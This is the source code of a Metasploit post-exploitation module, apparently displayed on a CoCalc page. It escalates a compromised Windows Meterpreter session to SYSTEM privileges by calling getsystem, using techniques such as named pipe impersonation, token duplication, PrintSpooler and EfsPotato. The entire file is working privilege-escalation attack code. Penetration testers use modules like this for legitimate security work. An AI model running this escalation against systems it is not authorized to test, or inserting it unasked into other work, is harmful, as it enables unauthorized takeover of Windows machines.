CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasm'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::Windows::Priv
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Escalation',
16
        'Description' => %q{
17
          This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various
18
          techniques.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => 'hdm',
22
        'Platform' => [ 'win' ],
23
        'SessionTypes' => [ 'meterpreter' ],
24
        'Compat' => {
25
          'Meterpreter' => {
26
            'Commands' => %w[
27
              priv_elevate_getsystem
28
            ]
29
          }
30
        },
31
        'Notes' => {
32
          'AKA' => [
33
            'Named Pipe Impersonation',
34
            'Token Duplication',
35
            'RPCSS',
36
            'PrintSpooler',
37
            'EFSRPC',
38
            'EfsPotato'
39
          ]
40
        }
41
      )
42
    )
43

44
    register_options([
45
      OptInt.new('TECHNIQUE', [false, 'Specify a particular technique to use (1-6), otherwise try them all', 0])
46
    ])
47
  end
48

49
  def unsupported
50
    print_error('This platform is not supported with this script!')
51
    raise Rex::Script::Completed
52
  end
53

54
  def run
55
    technique = datastore['TECHNIQUE'].to_i
56

57
    unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
58

59
    if is_system?
60
      print_good('This session already has SYSTEM privileges')
61
      return
62
    end
63

64
    begin
65
      result = client.priv.getsystem(technique)
66
      print_good("Obtained SYSTEM via technique #{result[1]}")
67
    rescue Rex::Post::Meterpreter::RequestError => e
68
      print_error('Failed to obtain SYSTEM access')
69
    end
70
  end
71
end
72

73